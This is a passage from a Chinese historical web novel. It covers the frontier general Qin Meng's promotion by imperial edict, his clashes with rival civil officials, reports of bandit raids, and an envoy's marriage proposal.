主寨、附寨的军民闻讯,好奇不已,纷纷放下手中活计,三五成群地涌向后寨门,翘首以待,都想瞧瞧这京城来的大官是何等模样。
第337章 谁的军寨,谁说了算
秦猛麾下将领秦大壮、刘铁柱、王铁山、常勇、袁飞、徐强,**等迅速顶盔贯甲赶来。
老保长王槐,诸葛风等人簇拥着监镇官苏珩等人涌来。他们个个穿着文集官服,神采奕奕。与秦猛领队的武将队伍形成鲜明的对比。
苏珩压下心头的兴奋,神色尽量保持与往常无异。在得知迎接钦差,一个想法在他脑海中冒出。或许通过这次机会,能够逃离这虎穴。
可就在苏大人琢磨如何开口揭发之时,边上一道冷冷声音突然传来,让他一颗心凉到了**。
秦猛瞥了眼文吏体系领头的苏珩,露出玩味的笑容:“苏大人——,此次钦差来宣读圣旨,本将又得高升,怎么地也是个朝廷团练使。
希望你好好表现,不要想着不切实际的谋划。我保证,有些话,你是说不出口的。过些时日,再把你家眷接来军寨安顿,好与你团聚。”
“您看如何呀?”秦猛笑容越发和善。
苏珩一颗心却越发冰冷,他能感受得到这位眼中的煞气。以及身后卫士那冰冷而嘲弄的目光。他心中悲凉,露出僵硬而又悲怆的笑容。
“笑,你还笑?”**一声喝斥,手按住了刀柄。
老保长眼珠子一转,用上了迅捷的语气提醒:“苏大人,军寨接你家眷安顿,你还不道谢?”
“谢秦知寨!”苏珩浑身一震,想到妻子和儿子的音容笑貌。他看着眼前笑容和蔼的秦猛,心里清楚这位是另有所指,无非是以此要挟。转念想到自身处境,不得不违心地拱手道谢。
“那就好。”秦猛笑着点头,迅速收敛眼底的杀气。
“你要记住,这是在边陲,谁的话好使,谁的话不好使!我抬举你,你就是监镇官,人人都得供着你,我踩你,你就是块泥巴,人人都敢踩你。”
就在这时,飞虎卫统领赵平、副统领周扬也带着一批军官涌出驻地,奔来与秦猛等人汇报。
赵平环视一圈,见秦猛身后将领虽多,但却缺了几张熟悉面孔,不由问道:“咦!秦老弟,王善、鲁真、阮大、林怒几位兄弟怎不在列?”
秦猛面不改色,淡然应道:“哦,李明了假去海州探亲未归,营中琐事需人打理,我派他们去搞点‘副业’了,或是带队加强周边巡视。”
“据消息,近来似乎是从冀州、并州流窜来不少匪徒……”
他这话说得含糊其词,真真假假,赵平等人虽觉有些突兀,但钦差即将抵达,也无暇细究。
“恭喜秦老弟,此次圣旨下来,必定跃升边防大将。”周扬上前拱手贺喜,眼中流了些羡慕。
他和赵平昨天就已经收到赵将军来报。朝廷圣旨下来,
他们被封为振武、建威将军,赵起从安北将军拜为镇北将军,空出安北将军衔,不言而喻。
秦猛不知缘由,谦虚几句后,见人来得差不多。吩咐老保长他们留在此地,维护军寨秩序。便翻身上马,仪容整肃,率众将出迎三里。
双方队伍会合,自是一番官样寒暄。
秦猛远远从队伍中看到了几个熟人:燕北郡守林安国端坐马上,对他微微颔首,目光复杂;兵马统制张崇率先行礼,拱手喊着秦将军;
巡检司庞仁则挤眉弄眼,一副看热闹的神情;狂风营严风倒是与众人拱手致意,说着又见面了。
此外,帅司派来的是一位姓黄的副统制带队,而幽州刺史府派来的治中从事孙强,郡城判官孙淼陪同,两人则脸色阴沉,态度恶劣,招呼都没打。显然孙仁**掉的事已经传开。
他们自身利益受到侵犯,对幽州边军都没有好感,对秦猛这个罪魁祸首就更是没有好脸色。
秦猛自然是不会热脸贴冷屁股,给了后脑勺。与林安国、张崇,庞仁,严风等人简单见礼后。
他目光便落在为首的钦差身上,这是一位年约四十、面庞圆润、身材微胖的文官,身着五品的绯色官袍,气度雍容,正是礼部员外郎苏珏。
不待秦猛参见,苏珏竟主动迎上,热切地虚扶其手,上下打量道:“秦将军果然英雄少年,一表人才!如此年纪便镇守边陲,立下殊勋,了不得!”
这番超乎寻常的赞誉让秦猛心下警觉,只觉这位京官热切得过分。
一旁的燕北郡守林安国见状,眉头微皱,眼中掠过一丝不解。而帅司派来的黄副统制,则面无表情地微微拱手,带着边防帅司的傲气。
就在这时,一个阴恻恻的声音插了进来,打破了表面的和气:“苏大人说的是,秦将军确是‘年轻有为’。”
幽州治中从事孙强缓步上前,脸上挂着皮笑肉不笑的表情,特意加重了“年轻有为”四字。
他话锋随即一转,“只是,边镇军务繁重,责任重大,不仅需勇武,更需沉稳持重,懂得上下尊卑、朝廷法度。
孙某在幽州,可是听闻了不少关于铁血军寨的……‘趣闻’呐。还望秦将军日后能更加谨言慎行,莫要辜负了苏大人的期许和朝廷的恩典才是。”
其侄孙淼立刻在一旁帮腔,语带讥讽:“叔父所言极是。秦将军,有些功劳,可得掂量清楚,别一不小心,就成了惹祸的根苗。毕竟,这燕北地界,还不是谁能一手遮天的。”
这番夹枪带棒、公然挑衅的言论,让气氛瞬间降至冰点。
秦猛身后众将怒目而视。
秦猛本人则眼神一冷,但未立即发作,只是淡淡回道:“不劳孙从
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事、孙判官费心。
秦某行事,但求问心无愧,对得起陛下,对得起这边关的百姓。公道自在人心,至于其他闲言碎语,还是留给有心之人自娱自乐吧。”
苏珏将这场交锋尽收眼底,圆润的脸上笑容不变,眼底却闪过一丝了然与玩味。他早听说边军跟地方不和睦,眼下却是真正的见识到了。
苏珏也不可能让局势失控,笑呵的第打圆场道:“呵呵,诸位同僚皆是为国效力,有话日后慢慢说。
秦将军,时辰不早,我们还是先回军寨,勿让圣旨久候。”
寒暄已毕,大队人马浩浩荡荡返回铁血军寨。此时,门外处已是人山人海,军民们里三层外三层,踮着脚尖伸长脖子,争睹天使风采。
“恭迎天使,欢迎苏大人!”在老王槐的组织下,欢呼声雷动,大红条幅在边塞的风中猎猎作响。
军民夹道欢迎,气氛热烈。
端坐于马车中的礼部员外郎苏珏听见呼喊,透过小车帘看到这幕井然有序又充满热情的欢迎场面,圆脸上不禁露出了颇为受用的笑容。
他虽久在京城,却多少听过边镇军卒百姓的欢迎是做不得太多假的,这秦猛看来确有些治军安民的本事。
车队在寨门前停下。
苏珩立即率领军寨一众文吏快步上前,躬身行礼,声音洪亮而恭谨:“卑职铁血军寨监镇官苏珩,率本寨大小文吏,恭迎天使苏大人!恭迎幽州孙从事,郡守林大人及诸位上官!”
幽州刺史府的治中从事孙强和郡判官孙淼,在队伍中看到苏珩出面,眼中顿时闪过一抹喜色和期待。
孙强甚至下意识地整理了一下袍袖,清了清嗓子,就待苏珩话音一落便出列,与这位“自己人”寒暄几句,既可彰显存在,也可试探军寨现状,更可当着钦差的面暗示幽州文官体系在此地并非毫无根基。
然而,有人比他们更快!
不等孙强迈步,秦猛身侧的**猛地一夹马腹,上前半个马身,声如洪钟地喝道:“钦差大人驾到!众军民肃静,准备听旨——!”
这一声吆喝,中气十足,带着军令特有的穿透力。原本喧闹的欢迎人群,如同被无形的手扼住了喉咙,欢呼声戛然而止,迅速变得鸦雀无声,只剩下风吹旗帜的扑啦声。
军民们虽然依旧伸着脖子,但脸上已满是敬畏和肃穆。
这种令行禁止的场面,让苏珏、林安国等官员心中又是一动,对秦猛在军寨的掌控力有了更直观的认识。
孙强刚抬起的脚,只得尴尬地缩了回去,脸色瞬间变得难看。
孙淼更是狠狠瞪了**一眼,却也不敢在此时造次。毕竟周围大队铁甲士兵可不是泥巴捏的!
第338章 圣旨之前,剑拔**张
铁血军寨外,数百上千人齐聚,却寂静无声。
在众目睽睽之下,钦差大人苏珏才在护卫的搀扶下,从容地自那辆气派的漆金马车上下来。
他手中郑重地托着一个紫檀木匣,目光扫过肃立的军民和躬身迎候的官员将领,最终落在香案之后身形挺拔、甲胄鲜明的秦猛身上。
一名随从连忙上前,小心翼翼地从木匣中请出那卷明黄色的圣旨,双手高举,安置在香案之上。
苏珏缓步走到香案前,神情肃穆,净手整理衣冠,然后向南方拱手h才小心翼翼地将圣旨展开。
他清了清嗓子,全场所有人的目光,或激动、或期待、或嫉妒、或冰冷,都聚焦在了那卷绢帛之上。
“秦猛,接旨——!”
“末将在!”秦猛声若洪钟,上前一步,身上铁甲叶片碰撞,发出铿锵有力的金属摩擦声。
他依旧是抱拳躬身,行的是军中之礼。身后,秦大壮和王铁山等将领们亦齐刷刷躬身,甲胄声响成一片,一股凛冽的军人气息扑面而来。
赵平,周扬等人准备撩裙甲,准备跪拜听旨。可见秦猛及麾下将领这般,便果断没有跪下。
苏珏略微错愕却并未迟疑,展开圣旨,清嗓准备宣读。
然而,就在这庄严肃穆的时刻,一道尖厉的声音如同冷水泼入热油,骤然炸响:
“且慢!”
众人愕然望去,只见幽州治中从事孙强排众而出,指着秦猛,对欲宣读圣旨的苏珏朗声道:“苏大人!下官有话要说!您看看此人,接旨,乃是臣子第一等礼仪,关乎纲常国体!
知寨秦猛身为边将,深受国恩,见圣旨如见当今圣上,岂可不行全礼?仅以躬身接旨敷衍。
此等倨傲之举,分明是不合礼法,更是目无君上,藐视朝廷!若此风一开,边镇将校纷纷效仿,我大周朝廷威严何在?礼部典制何在?”
“放肆!”
孙强话音未落,秦猛脸色一沉,眼中寒光乍现,但他尚未开口,身后,将领们已然炸了锅。
“放**狗屁!”王铁山须发皆张,按刀怒喝:“孙强,你算什么东西?也敢在这里指手画脚?再敢满嘴喷粪诬蔑,老子剁碎了你喂狗!”
刘铁柱更是直接踏前一步,指着孙强鼻子骂:“老匹夫!尔等尸位素餐,**饭不干人事。胆敢搅扰钦差宣旨,是何居心?我看你才是想**!”
眼见秦猛部将如此凶悍,孙强被骂得一时气结。其侄、郡判官孙淼见状,立刻跳江出来。声音更抬高了八度,如同跟屁虫般帮腔鼓噪:
“反了!反了!苏大人,诸位大人,您都看见了!秦猛麾下皆是此等目无尊上之徒,当着天使和圣旨的面都敢喊打喊杀,平日里的跋扈可想而知!怪不得多有传言,秦知寨自恃军功,跋扈至极!
我叔父仗义执言,何错之有?他出于维护朝廷体统,稍作提醒一二,便遭其麾下恶将如王铁山、刘铁柱等辱骂、威胁,简直无法无天!”
他这一搅和,顿时将火势引得更旺。
原本还想克制一下的秦大壮和常勇等较为稳重的将领,也彻底被激怒了,纷纷加入战团:
秦大壮瞪着孙淼,声如闷雷:“孙淼小儿!休得血口喷人!是尔等心里有鬼,南河城寨孙仁勾结,草原****,一再挑衅,搅扰仪式!”
常勇亦冷声斥道:“我看是尔等心怀鬼胎,分明不把圣上放在眼中,栽赃污蔑忠臣良将。”
“苏大人!”孙强缓过劲来,义正言辞地说道,“如今在圣旨面前,他们竟还敢如此放肆。若今日容他如此接旨,助长了边镇骄兵悍将的气焰!
下官恳请苏大人,勒令秦猛及一众将领卸甲跪迎,以正视听!否则,这圣旨,不宣也罢!”
这番话极其恶毒,不仅咬住礼仪不放,还将先前的小冲突升级为对抗朝廷的高度,更是以“不宣圣旨”相要挟,直接将了苏珏和秦猛一军。
一时间,秦猛麾下将领群情激愤、骂声如雷。zhai门口军民更是大怒,“狗官”“诬蔑”等话喊个不停,甚至还有人往孙强叔侄丢石头。
飞虎卫孙平、周扬等将心头恼怒,觉得幽州官僚实在可恶。但碍于身份,不便直接斥骂。却也个个怒目而视,手按兵刃,随时准备动手。
场面瞬间紧绷得如同拉满的弓弦!
一直躬身低头的苏珩,此刻浑身剧震,额头冷汗直冒。
孙强叔侄跳出来,他作为监镇官,又是幽州文官体系一员,于公于私都理应站在孙强一边,至少该出列表态。
但他深知秦猛的狠辣和眼前局势,自己若是开口帮腔,无论说什么,都必将引火烧身!他只能将头埋得更低,恨不得找个地缝钻进去。
钦差苏珏的脸色也难看起来。孙强叔侄的举动,看似维护礼法,实则是借题发挥,故意找事儿,搅乱他的宣旨进程,让他这个钦差下不来台。
他心中愠怒,但身为礼部官员,又不能直接驳斥“维护礼制”的言论。
就在这剑拔**张之际,秦猛却突然笑了起来。
他抬手,止住了身后躁动的将领。
秦猛没有看孙强叔侄,而是目光平静地看向钦差苏珏,声音沉稳有力,瞬间压过了所有嘈杂:
“苏大人,诸位。孙
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治中、孙判官所言,看似有理,实则不通军务,不察边情,更不解陛下体恤将士之圣心!”
他先定下基调,然后才缓缓转向孙强,目光如刀:
“孙大人,你口口声声说秦某蔑视朝廷。那我问你,陛下赐下这甲胄,是让边将在敌前脱了保命的,还是让你等在此大放厥词时用来下跪的?
《周礼·夏官》有云,‘介胄之士不拜,示兵威,重军容也’!此乃古礼!
秦某与麾下儿郎,身负数十斤铁甲,昼夜巡边,枕戈待旦,此甲便是战场上的性命!
今日甲胄在身,行躬身军礼,正是尊奉古制,彰显军威,以示边军时刻不忘战斗之本分!又是应对边陲随时突发情况,何来怠慢之说?”
秦猛一番引经据典,合情合理,顿时让许多武将出身或了解军务的官员如庞仁、张崇等附和。
秦猛不等孙强反驳,语气骤然转厉,声如雷霆:
“反倒是你孙强!孙淼!尔等身为文臣,不思为陛下分忧,为边寨筹谋物资,却在此天使宣旨、皇恩浩荡之际,罔顾事实,颠倒黑白,揪住细枝末节,大放厥词,扰乱圣旨仪式,动摇军心!
尔等究竟意欲何为?是真要逼秦某与你们撕破脸皮?把你们勾结**的丑陋行径公之于众?
逼我等边将卸甲,让这铁血军寨门户洞开,好让塞外胡虏占据幽州,笑我大周自毁长城吗?”
“你……你血口喷人”孙强被驳得脸色煞白,气得浑身发抖。
孙淼还想强辩,秦猛却根本不给他机会:“大家看看?只有心里有鬼的人才会上蹿下跳。”
“好了,大伙少说几句,宣读圣旨岂能儿戏?”林安国终于看不下去了,挺身而出,打圆场。
钦差苏珏见火候已到,再不制止恐真生大变,立刻抓住机会,脸色一沉,呵斥道:
“够了!孙治中,孙判官,尔等维护礼制之心,本官知晓。然秦将军所言‘介胄不拜’有凭有据。边镇重地,军情紧要,岂可拘泥常礼?
此事不必再议!休得再出言惹事非,搅扰宣旨仪式。否则,休怪本官以搅扰圣事参奏尔等!”
孙强、孙淼见钦差发话,情知再闹下去自己也讨不到好,反而会惹来麻烦。叔侄俩只得铁青着脸,悻悻退下,但眼中的怨毒之色更浓。
秦猛接旨!”苏珏再次高呼,目光扫过躬身听旨的秦猛及其众将。
“末将在!”秦猛声若洪钟,上前一步,甲胄铿锵。
苏珏不再耽搁,深吸一口气,打开圣旨宣读起来:
“奉天承运皇帝,制曰……”
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第339章 荣升安北将军
经过这一番激烈的交锋,现场的肃杀与民众期待的气氛达到了顶点,而秦猛及其麾下的气势,则在挫败文官挑衅后,不降反升,更显彪悍。
他们目光凌厉,孙强,孙淼之流也不敢再作怪!
苏珏那带着京官的独特腔调却又字字清晰,传遍全场:“朕膺天命,抚育万方,赏功罚过,乃朝廷之大典。
唯赏不逾时,则勋劳者劝。燕北边陲,国之藩篱。虎贲军飞虎卫,铁血军寨知寨、破虏将军秦猛,戍守北疆,骁勇善战,忠赤夙彰。
近岁以来,训卒有方,屡挫虏锋,斩鞑逾万,保境安民,功绩殊伟,宜加渥赏,用旌乃勋。
特拜秦猛为安北将军,领幽州团练使,授武功大夫,允其开府建牙,总揽燕北郡一应团练、驻扎、守御之事,仍归本卫,听调于幽州帅司。
赏赐如下:
黄金三百两,白银两千两,御马宝鞠一匹(俱配金鞍玉辔),山纹甲两副,内府佳酿五十坛,蜀锦五十匹,岁贡宫缎一百匹。
其麾下将士,勠力同心,功不可没,一并嘉奖:
秦大壮、张富贵、刘铁柱、王铁山、常勇、王善、袁飞、徐强、**等,各依功擢升一级,仍于安北将军麾下效力,听候调遣,共卫边陲。
另赏诸将共白银三千两,绢帛五百匹,山纹甲,袍袄各一领,美酒佳酿百坛,以示慰劳。
望尔等恪尽职守,勿负朕恩。钦此!
大周永泰十四年,二月初二,吉日!”
圣旨宣读完毕,全场寂静,人人满脸不可思议!
秦猛听到“安北将军”这几个字时,心中也是一震!
这绝非“破虏”、“讨寇”之类的杂号将军可比,乃是正经的朝廷重号将军,属于高级武职,象征着极高的荣誉和地位。
获此将军号,意味着在重文轻武的大周,他秦猛真正踏入了中高级将领的门槛,一般的文官可不敢在他面前摆架子,可谓鲤鱼跃龙门!
更重要的是,“开府建牙”之权,意味着他有权设立自己的将军府署,招募僚属,组建更为独立的军事指挥体系,这是权势的巨大飞跃!
而“领幽州团练使”一职,更是实权在握。这意味着他总揽燕北郡的团练、驻扎、守御之事,有权节制燕北郡内的军队包括边军和地方驻军。
从此,无论是边军城寨的防务,还是地方军队训练,他秦猛都有权过问、督察!这是朝廷将燕北郡的军事防务,实实在在地交到了他的手中。
至于“武功大夫”,则是标志其品阶的武散官称号,确立了他相应的官场地位和俸禄等级。
总而言之,秦猛藉此圣旨,已是名副其实的一跃而起,成为了幽州地界上举足轻重的实力派将领!
如果说林安国负责燕北郡政务,他秦猛就是军事首脑,只听命帅司,不受幽州刺史府节制。
赵平、周扬等将领眼中闪过羡慕。
铁血军寨的军民议论纷纷,喜形于色。一个个用敬佩的目光看着秦猛,这位真是飞黄腾达了。
苏珏将圣旨合拢,看向秦猛:“秦将军,接旨谢恩吧!”
“末将秦猛,叩谢天恩!吾皇万岁万岁万万岁!”秦猛声音洪亮,虽未跪拜,但满脸虔诚,躬身之深,语气之诚恳,任谁都挑不出毛病。
“叩谢天恩,吾皇万岁万岁万万岁!”
身后,将领们神采飞扬,有样学样,齐声高呼,声震云霄,竟将方才文官系统的些许不快冲散了不少。
秦猛稳步上前,恭敬地从苏珏手中接过那卷沉甸甸的、象征着荣宠与权力的明黄绢帛。在交接的刹那,他目光与苏珏有瞬间的交汇。
苏珏眼中带着一丝不易察觉的审视和意味深长的笑意,秦猛则目光沉静,不卑不亢。
接过圣旨后,秦猛转身,面对全军寨军民,将圣旨高高举起。
“陛下万岁!”
阳光下,明黄色的绢帛和朱红的玺印格外醒目。
“秦将军威武!”沉寂片刻的现场再次爆发出震天的欢呼,比之前更加热烈,充满了自豪与喜悦。秦猛麾下将领个个激动不已,与有荣焉。
人群中的陈月娘秦小芸笑容满面,眼神盯在秦猛身上。林婉儿和小蛮躲在人群中缩头缩脑。因为郡守林安国的亲临让她们心生怯意。
秦大壮、王铁山等将领个个激动得脸色涨红,胸膛挺得更高,他们得到的不仅是封赏,更是对他们功勋的认可,是与主将一同跃升的荣耀!
幽州刺史府的孙强、孙淼等人脸色更加难看,秦猛的权势愈重,对他们而言,绝非好事。
郡守林安国抚须的手微微一顿,眼神复杂更甚。狂风营严风、巡检司庞仁,帅司统制官等人则纷纷向秦猛投去或真或假的祝贺目光。
苏珩在文吏队伍中,低着头,袖中的拳头暗自握紧。
秦猛一跃成为安北将军,权势更上一层楼。他脱身的希望似乎更加渺茫,想到家眷即将被“接”来相聚,心头更是蒙上一层厚厚的阴影。
秦猛没有在乎其他人的想法,深吸一口凛冽的空气,按下激荡的心情。将圣旨交给**捧好。
然后,他对苏珏与林安国等官员拱手,笑道:“苏大人一路舟车劳顿,林郡守、张统制、诸位同僚远来辛苦!圣恩浩荡,秦某已在寨中略备薄酒,为天使及诸位接风洗尘。”
“望诸位恳请赏光!”
“秦将军客气了。”苏珏笑容可掬。
“秦将军客气。”苏珏笑容可掬。
林安国则四下张望,话中有话:“早闻秦将军勇猛善战,
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练兵有方,林某此来,正想见识一下我燕北郡城门户军寨之风采。秦将军,您可不要藏私,定要让林某好生开开眼界才是!”
他笑眯眯地补充,目光却似不经意地扫过人群。
秦猛心下了然,这位郡守大人是醉翁之意不在酒,多半是听闻风声,来寻女儿林婉儿归家的!
他面上不动声色,笑着应道:“林大人放心,定然让您不虚此行。”
他面对这位林郡守时,不知为何,语气却莫名有点底气不足,赶忙招呼众人:“诸位,请入寨!”
秦猛侧身引路,众将士分开道路,军容肃整。
大队人马正欲入寨,先前因有人在旁边没有破口大骂的袁飞、徐强两名刺头将领,却突然带亲兵横跨一步,毫不客气地挡住了想要跟随入寨的孙强、孙淼等幽州刺史府一行人。
“嗯?”孙强本就心情不好,此刻,突然被人硬生生拦住了去路,顿时勃然大怒,怒视二人。
“尔等欲要何为?”
袁飞撇嘴冷笑,语带不屑:“哼,做什么?军寨今日摆的是庆功宴,迎的是天使与真正为国出力的同僚。似尔等这般只会搬弄是非、诬蔑边功的无耻之徒,咱铁血军寨不欢迎!”
徐强更是轻蔑地上下打量着孙强,嘲弄道:“就是,方才搅闹宣旨仪式,就你跳出来,脸皮都撕破了,现在还想跟着进去赴宴蹭吃蹭喝?
孙从事,您一把年纪了,脸皮怕是比这寨墙还厚吧?又不是招待你们的,哪来的脸面跟着?”
“混账!”孙淼见叔父受辱,怒不可遏地抢上前,指着二人训斥:“我叔父乃是幽州刺史府治中从事!尔等区区武夫,安敢如此无礼?还不速速让开!”
这边的骚动顿时引来了周围众多军民的指点和议论,众人脸上皆是对孙强等人的不屑与鄙夷。
后方的动静也让前方的队伍停了下来,纷纷回头望来。
“袁飞,徐强!”秦猛沉声喝止,他虽心中快意,但面上却显出大度之色,“来者是客,我辈行事堂堂正正,岂能因小人作祟便失了气度?
且让他们进来,好酒好肉招待,免得落人口实,真让人说我铁血军寨小家子气,不能容人。”
袁飞、徐强闻言,这才悻悻地让开一条道路,但仍对孙强等人怒目而视,恨不得上去动手。
孙强、孙淼面色紫胀,羞愤难当,进也不是,退更丢人,僵在原地。
就在这尴尬之际,骤变突生!
只见青阳郡城方向,几匹快马如旋风般疾驰而来,马上骑士乃是郡城衙门的官兵,神色仓皇。
“急报——!急报——”的呼声此起彼伏!那几个郡城官兵飞马而来,不顾一切地冲到附近,翻身下马,气喘吁吁地直奔郡守林安国面前。
第340章 烽烟起,姻缘谋
“大人!不好了!柳城县外的亨通客栈昨夜遭遇大队女真游骑袭击,货栈被毁,损失惨重!”
“狐山县外的财源矿场同时被大股马匪攻破,守卫死伤殆尽,银锭被劫掠一空。”
“阳乐县外,何家,陈家等几处大庄园亦遭马匪血洗,钱粮被劫掠一空!”
……
几名郡城官兵惶恐地汇报,噩耗接连传来,如同晴天霹雳,将在场众人震在当场!
场间一时鸦雀无声,只剩下报信官兵粗重的喘息。
“什么?竟有此事?”林安国脸上的从容彻底消失,取而代之的是边郡大员应有的凝重与凌厉。
他上前一步,几乎是从牙缝里挤出问话:“消息可确切?损失几何?贼人动向如何?”
统制官张崇与郡巡检庞仁亦是面色铁青,互相对视一眼,都从对方眼中看到了震惊与忧虑。
——郡内多处要地同时遇袭,这绝非寻常马匪或小股游骑能做得到的,背后必然有严密的组织和计划,甚至可能预示着更大规模的入侵。
而孙强的反应比林安国更为激烈,他浑身颤抖,指着报信的官兵,声音尖厉:“亨通货栈?这货栈……那是崔刺史亲自关照的产业!
还有狐山矿场,那…那里面可是有银……”
他意识到不对,话到嘴边又硬生生咽了回去。但那惊慌失措、痛心疾首的模样,任谁都看得出,这些产业与他和崔文远有着利害关联。
孙淼更是面无人色,双腿发软,几乎要瘫软在地。
方才与边军将领的冲突羞辱,在这突如其来、关乎根本利益的噩耗面前,显得如此微不足道。
钦差苏珏初闻惊变,脸上亦浮现出真实的惊容,他虽在京城,却也知边镇不宁,可眼下,亲耳听到如此惨烈的袭击事件,仍是心头一震。
“哎哟,这边陲之地,竟凶险至此?”
苏珏下意识感叹道,语气中带着后怕与忧虑。
林安国迅速稳住心神,转向苏珏,语气沉痛却不忘为秦猛表功:“是啊,苏大人有所不知。
去岁本官家眷赴任,亦曾遭遇狼戎游骑,若非秦将军神兵天降,后果不堪设想。这边塞之地,鞑虏与匪患如附骨之蛆,形势之严峻,远超京城想象。”
秦猛适时接过话头,声音沉稳有力,带着一股令人心安的杀气:“苏大人无需过虑。
近来,我已与南河、双塔等友寨约定,不日便将联手出兵,清剿匪患,反杀劫掠鞑虏,定要还边郡一个安宁!些许跳梁小丑,掀不起大浪!”
他话语铿锵,自信满满,仿佛一切尽在掌握。
“若真能如此,实乃边民之福,朝廷之幸!”苏珏闻言,脸色稍缓,对秦猛的果决与担当暗自点头。
就在林安国吩咐官兵回报加强戒备,秦猛也示意百姓散去之时,那不合时宜的声音再次尖锐响起:
“秦猛!是你!一定是你搞的鬼!”孙淼猛地挣脱孙强,双目赤红地指着秦猛,状若疯癫。
“定是你派人假扮马匪,报复我等!你好毒的心肠!”
他话音未落,袁飞早已按捺不住,飞起一脚狠狠踹在孙淼腰眼上,将其踹得滚倒在地。
“狗贼!安敢污蔑将军?”
“**、马匪的账也算到我们头上,你是找死!”
徐强、王铁山等人更是“锵啷”一声刀出半鞘,杀气腾腾地围了上来,场面再次剑拔**张。
“孙判官!”林安国脸色彻底阴沉下来,声音冰寒刺骨,“今日你屡次三番口出妄言,污蔑边军大将,本府定将此事详加记录,奏报朝廷!你真当本府与秦将军是可随意欺辱之辈吗?”
孙强吓得魂飞魄散,连忙扑上去扶起侄儿,一边朝他使眼色,一边朝林安国和秦猛连连作揖。
“郡守息怒!将军息怒!这小子是听闻产业被毁,急火攻心,失了心智,在说胡话!万万当不得真!”
秦猛抬手止住了欲要上前理论的部下,目光淡漠地扫过孙强叔侄,语气平静却带着刺骨的寒意:“罢了,秦某近来确实杀了些**。
护我燕北百姓去岁冬季不受袭扰。许是碍了某些人的财路,被嫉恨、报复是在所难免。只是这构陷边将的罪名,秦某可担待不起。”
他这话轻飘飘的,却是真正的**诛心,将孙淼的指控反弹回去,还暗示了对方人等与草原**暗通款曲,可能因利益受损而诬告。
接着,他话锋一转,看向一旁的监镇官苏珩,脸上露出一丝耐人寻味的笑容:“苏监镇,远来是客,你又是从幽州来,与孙从事也算旧识。
这样吧,免得双方互看不顺眼,不如就由你作陪,单独设一席,为孙从事、孙判官压惊接风,如何?”他虽是询问,语气却不容置疑。
苏珩心头一紧,背后瞬间被冷汗浸湿。他岂能看不出秦猛的用意?这是警告,也是试探。
他连忙挤出最恭敬的笑容,躬身应道:“将军放心,属下……属下一定妥善招待好孙大人。”
苏珩心中雪亮,这顿宴席无异于鸿门宴,自己若敢有半分异动,或让孙强叔侄传出什么不该说的话,甚至看出了端倪,别说自己一家性命难保,恐怕孙强等人今日都难走出这军寨。
这秦猛,手段当真狠辣!
连崔文远的名头都镇不住他,来了,估计会更惨!
……
附寨军营,中军大帐内,气氛与外面的肃杀截然不同。
巨大的火盆燃着熊熊炭火,驱散了边塞的寒意。
中间烤着整只肥羊,油脂滴落火中滋滋作响,香气四溢。
大盆的炖肉、红烧肉、回锅肉、酱肘子等硬菜摆满了条案,搭配冬季火炕培育的菜蔬,虽不及京城佳肴精致,却充满了边塞的
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粗犷与实在。
“北风烈”倒入粗陶碗中,清澈如泉,酒香浓烈,一碗下肚,暖流遍体,驱散了所有寒气。
宣敕官苏珏、郡守林安国、张崇,帅司来的黄大钟、赵平、周扬等人,以及军中有功将校齐聚一堂,推杯换盏,说说笑笑,气氛热烈。
秦猛作为主人,言谈豪迈而不失分寸,既感念皇恩浩荡,也褒奖将士用命,更对林安国等地方官的支持表示感谢,面面俱到,让在场众人都觉得脸上有光。
酒过三巡,菜过五味,气氛愈发融洽。苏珏几碗烈酒下肚,脸上泛着红光,他借着酒意,凑近秦猛,笑道:“镇卿年少有为,实乃国之栋梁。”
镇卿,是老保长觉得秦猛身份不同,跻身官场。并结合他的名“猛”来互补,给他取的字。
“不瞒将军,在下兄长苏斌,在京中任龙图阁大学士,他有一小女,年方二八,容貌甚美,端庄秀丽,更难得的是知书达理,琴棋书画略通一二。
不知镇卿……家中可有妻室?”
此言一出,同桌的林安国、黄大钟等人动作皆是一顿,目光若有若无地扫了过来,竖起耳朵。
林安国心中更是泛起一丝波澜。苏珏的兄长苏斌,乃是清流领袖之一,官居三品,地位清贵,若能与之联姻,对秦猛而言,无疑是朝中添一强援。这苏家眼光倒是毒辣,下手也快。
秦猛放下酒碗,神色如常,恭敬答道:“多谢苏大人厚爱。只是秦某去岁已然成家。
内子虽出身寻常,却与秦某共历艰辛,感情甚笃。恐怕要辜负苏大人和苏大学士的美意了。”
“哎~秦将军此言差矣!”苏珏似乎早有预料,摆手笑道,“大丈夫三妻四妾实属正常。以将军之才,未来前程不可限量,岂能仅有一房正室?
我那侄女,虽不敢说国色天香,却也貌美如花,温良贤淑,若是将军不弃,可为良配,我等成为一家人,于将军日后仕途,亦多有裨益啊。”
他一副积极促成的态度,话语中的暗示十分明显,几乎是赤裸裸地抛出**联姻的橄榄枝。
秦猛心中明镜似的,这既是拉拢,也是一种试探。
他若痛快答应,难免被视为可被利益轻易打动之人;若断然拒绝,又可能得罪苏家及背后集团。
他略一沉吟,举碗敬向苏珏:“苏大人与苏学士的美意,秦某心领,感激不尽。只是婚姻大事,岂同儿戏?且边镇多事,秦某枕戈待旦,实不敢分心家事。此事……容后再议,如何?”
他既未答应,也未完全拒绝,留下了回旋余地,态度不卑不亢。
苏珏见状,知不可操之过急,哈哈一笑,也不再强求,转而称赞秦猛重情重义,是真豪杰。
宴席气氛重回热烈,但这一番联姻的试探,已像一颗石子投入湖心,在众人心中荡开了涟漪。
第341章 刀尖棋局:试探与归顺
附寨监镇衙门。
偏房内,同样摆着一桌酒菜,规格甚至不比大帐里差。
然而,这里没有说笑,空气却仿佛凝固了一般。
作陪的老保长王槐、兵曹诸葛风、户曹李恒等人,都是秦猛信得过的老人,一个个看似热情劝酒布菜,实则眼神警惕,如同看管要犯。
孙强、孙淼叔侄面对满桌佳肴,却是食不知味,如同嚼蜡。
亨通货栈、狐山矿场被毁的消息,像毒蛇一样啃噬着他们的心。那不仅仅是巨额财富的损失,更是代表着幽州官僚势力立足的根本。
如今根基动摇,怎能不让他们心急如焚?
他们几次想向同为“崔系”出身、又是监镇的苏珩探听口风,或者暗示他做点什么。
但每当孙强刚提起话头,王槐就会乐呵呵地**来,大谈军寨建设不易,或是诸葛风会巧妙地接过话茬,分析一番边塞局势,当前窘境。
李恒则在一旁频频敬酒,根本不给他们与苏珩单独交流的机会。
帐内气氛压抑得让人喘不过气。
孙淼年轻气盛,几次欲要发作,都被孙强用眼神死死按住。
他如何不明白,此刻身在虎穴,人为刀俎我为鱼肉,稍有不慎,把对方惹怒,后果不堪设想。
好不容易捱到酒过数巡,孙强借口出恭,离席而去。
他故意在帐外徘徊片刻,果然见苏珩也跟了出来。
